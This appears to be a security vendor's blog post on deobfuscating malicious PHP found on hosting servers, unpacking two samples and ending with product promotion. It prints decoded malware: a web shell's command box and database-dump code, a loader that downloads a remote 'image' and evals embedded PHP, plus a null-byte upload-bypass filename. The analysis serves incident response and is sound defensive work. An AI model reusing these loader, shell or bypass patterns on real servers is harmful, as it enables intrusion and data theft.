
You found a strange PHP file on a server. Before you delete it, it’s worth knowing what it did: whether it was a full web shell or a simple uploader, whether it read the database, and where it fetched code from. That tells you what else to look for and which passwords to change.
The problem is that you can’t read it. Malware authors obfuscate their files so that a quick look, a grep and most scanners find nothing they recognise. The good news is that nearly all obfuscation uses the same handful of tricks, and each one can be undone without running the file.
Here are two real samples from Pyxsoft Labs, unpacked step by step.
Rule zero: never run it
The tempting shortcut is to replace eval with echo and run the file with php. Don’t do that on a server you care about. Obfuscated files often run more than one eval, call system() along the way, or decode to code that writes files as soon as it is included. Everything below only reads the file and decodes strings with the same functions the malware uses, without executing the malware’s own code.
Sample 1: fourteen evals, one layer
Sample 421 was uploaded as ~/public_html/2.0/upload/doc.php%00.jpg. The name is a trick in itself: %00 is a null byte, an old way to get past upload forms that check whether a name ends in .jpg, while the file is saved and run as doc.php.
The file as we received it
One line of PHP, about 5 KB:
<?php
eval(base64_decode('ZnVuY3Rpb24gX0FLc2QoJF9ZaG5VUVV3KXskX1loblVRVXc9c3Vic3RyKCRfWWhuVVFVdywoaW50KShoZXgyYmluKCczNTM5MzYnKSkpOy...'));
Step 1: decode the outer layer
base64_decode of a literal string is safe to reproduce. Copy the string and decode it:
echo 'ZnVuY3Rpb24gX0FLc2Qo...' | base64 -d
What comes out is PHP again, formatted here for reading:
function _AKsd($_YhnUQUw){
$_YhnUQUw = substr($_YhnUQUw, (int)(hex2bin('353936')));
$_YhnUQUw = substr($_YhnUQUw, (int)(hex2bin('30')), (int)(hex2bin('2d323833')));
return $_YhnUQUw;
}
$_iq3bm = '_AKsd';
$_lbjvqR5r = 'base64_decode';
function _wRaUWZJ1FUwxR9lfc($_J3fxoL5){
global $_iq3bm; global $_lbjvqR5r;
return strrev(gzinflate($_lbjvqR5r(_AKsd($_J3fxoL5))));
}
eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(_wRaUWZJ1FUwxR9lfc('udX7rJMfEsml...')))))))))))))));
Step 2: read the custom decoder
The file brings its own decoding function, and that’s the part worth reading slowly:
hex2bin('353936')is the text596,hex2bin('30')is0andhex2bin('2d323833')is-283. The numbers are hex-encoded so they don’t look like numbers.- So
_AKsd()cuts the first 596 characters and the last 283 off the string. They are padding, there to make the blob fail as base64 if you try to decode it directly. $_lbjvqR5rholds the textbase64_decode, and calling$_lbjvqR5r(...)calls that function. Function names kept in variables are there to keepbase64_decode(out of agrep.
Put back together, the decoder is strrev(gzinflate(base64_decode(substr(substr($s, 596), 0, -283)))): remove the padding, base64, decompress, reverse. All of these are pure string functions, so you can apply them to the blob without running anything else:
php -r '$s = file_get_contents("blob.txt");
echo strrev(gzinflate(base64_decode(substr(substr($s, 596), 0, -283))));'
Step 3: count the evals that matter
Fourteen nested evals look like fourteen layers to peel. They aren’t. The innermost eval runs the decoded code, which is the actual shell. That code doesn’t return anything, so the next eval receives NULL and does nothing, and so do the other twelve. The other thirteen are there to make the file look deeper than it is, and to wear out anyone decoding by hand.
What it was
The decoded payload is 6 KB of plain PHP: a compact web shell that calls itself doc.php. It has a file browser, upload, a text search across every file under a folder, a command box that runs shell_exec($_POST['cmd']), and a database tool that defaults to root@localhost and downloads a full mysqldump of whatever database you name:
if ($db) {
header('Content-Type: application/sql');
header('Content-Disposition: attachment; filename="dump.sql"');
system("mysqldump --host=" . $host . " --user=" . $user . " --password=" . $pass . " " . $db);
exit;
}
That’s useful to know. A shell with a mysqldump button means you have to assume the site’s database was copied, and the database password the site uses has to change.
Sample 2: a goto maze
Sample 1520 was found as ~/public_html/wp-includes/rest-api/fields/index.php, a file WordPress doesn’t have. Here it is, unedited:
<?php
goto Z25Zw; Q1Crm: goto ITqzY; goto TopR_; XHd23: goto gBaDO; goto yMeM8; TopR_: jmdBf: goto BJNxA; RNWF8: $kmzf9 = "\150\164\164\x70\x73\x3a\x2f\57\162\x61\x77\56\x67\151\164\150\165\x62\x75\163\x65\162\143\157\156\x74\145\156\164\x2e\x63\x6f\155\57..."; goto NJBMV; txsSH: goto TTN4S; goto p1K6q; YVx1o: eval("\77\x3e" . $e7xC1); goto E1Cet; J1E1L: pf61b: goto RNWF8; H5dNn: $DbmgY = file_get_contents($kmzf9); goto Q1Crm; ...
Two tricks are layered here.
Step 1: the escaped strings
"\150\164\164\x70\x73" mixes octal (\150 = h) and hex (\x70 = p) escapes, randomly per character, so that no word in the file can be found with grep. These are ordinary PHP string literals, and any PHP parser reads them back. Here, the first one is a URL:
https://raw.githubusercontent.com/icm****/deface/refs/heads/main/images1.jpg
and "\77\x3e" is just ?>.
Step 2: put the gotos back in order
Six statements are chopped into small pieces behind 45 random labels, shuffled, and chained with goto. To read it, you follow the jumps the way PHP does:
- Start at the top:
goto Z25Zw; - Find the label
Z25Zw:. It saysgoto pf61b;. Ignore whatever comes after agotoon the same chain (goto cyn61;here): it is never reached, it’s noise. pf61b:→goto RNWF8;→RNWF8:sets$kmzf9to the URL →goto NJBMV;→goto xWcWP;→xWcWP:→goto H5dNn;→H5dNn:downloads the URL…
and so on, until the chain reaches the label at the very end. Writing down only the statements that aren’t goto, in the order you meet them, gives the real program:
$DbmgY = file_get_contents('https://raw.githubusercontent.com/icm****/deface/refs/heads/main/images1.jpg');
$N2rrC = strpos($DbmgY, '<?php');
if ($N2rrC !== false) {
$e7xC1 = substr($DbmgY, $N2rrC);
eval('?>' . $e7xC1);
} else {
echo 'No PHP code found inside image.';
}
What it was
A loader, and that is why it’s so small. It downloads an “image” from a public GitHub repository, looks for <?php inside it, and runs everything from there on. The image may well open as a picture, and the PHP sits after the picture data. The real payload never touches the infected server: the attacker can change it on GitHub whenever they like, and every infected site runs the new version on its next request.
This also shows the limit of deobfuscating a single file. What this site ran is the content of images1.jpg on the day of each request, and the file on the disk only tells you where to look. Its error message is a small giveaway, too: No PHP code found inside image.
The tricks you will keep meeting
Most obfuscated PHP on hosting servers combines a few of these:
| Trick | What it looks like | How to undo it |
|---|---|---|
| Encoding layers | eval(gzinflate(base64_decode('...'))), often 5 to 20 deep, with str_rot13, strrev |
Apply the same decoders to the literal, innermost first |
| Escaped strings | "\x62\141\163\x65" |
Any PHP parser reads them back |
| Names in variables | $f = 'base64_decode'; $f($x) |
Substitute the value, then read the call |
| Character tables | $O00O = urldecode("%6E1%7A..."); $O00O{38}.$O00O{12}... |
Build the table and look up each index |
| Custom decoders | Padding, XOR keys, offsets hidden with hex2bin |
Read the function: it’s usually short and pure |
| goto shuffling | Dozens of label: goto X; pieces |
Follow the jumps from the top, drop the gotos |
| Payload elsewhere | file_get_contents(__FILE__), a remote URL, a cookie |
Find where the data comes from. Sometimes it isn’t in the file at all |
Or let the tool do it
Doing this by hand is a good way to learn the tricks. Doing it on a Monday morning with forty files waiting isn’t. That’s why we built the Pyxsoft PHP Deobfuscator, a free page where you paste a file and get the readable code back.
It doesn’t run any PHP. It parses the file, follows the values the code builds from its own literals, and folds them with the same functions reimplemented in Go: the encoding layers and decoders above, character tables and $GLOBALS arrays, the file’s own decoder functions when they are pure, goto mazes put back in order, and payloads a file reads from itself. Both samples in this post come out as shown above, in one step.
On 365 obfuscated samples from Labs, it makes 336 readable, or 92%. What it can’t show is code that isn’t in the file: an eval($_POST['x']) runs whatever the attacker sends, and a loader like sample 2 runs whatever is on GitHub that day. In those cases it shows you where the code comes from, which is the next thing to look at.
A file like this is rarely alone
Whoever planted doc.php or the GitHub loader usually left more: a backdoor in a plugin, code injected into a core file, a second shell for when you find the first. Deobfuscating one file tells you what happened. Pyxsoft Anti Malware scans every account on the server to find where else it happened, and removes injected code without taking the site down. 7 days free, on cPanel, DirectAdmin or a server with no panel.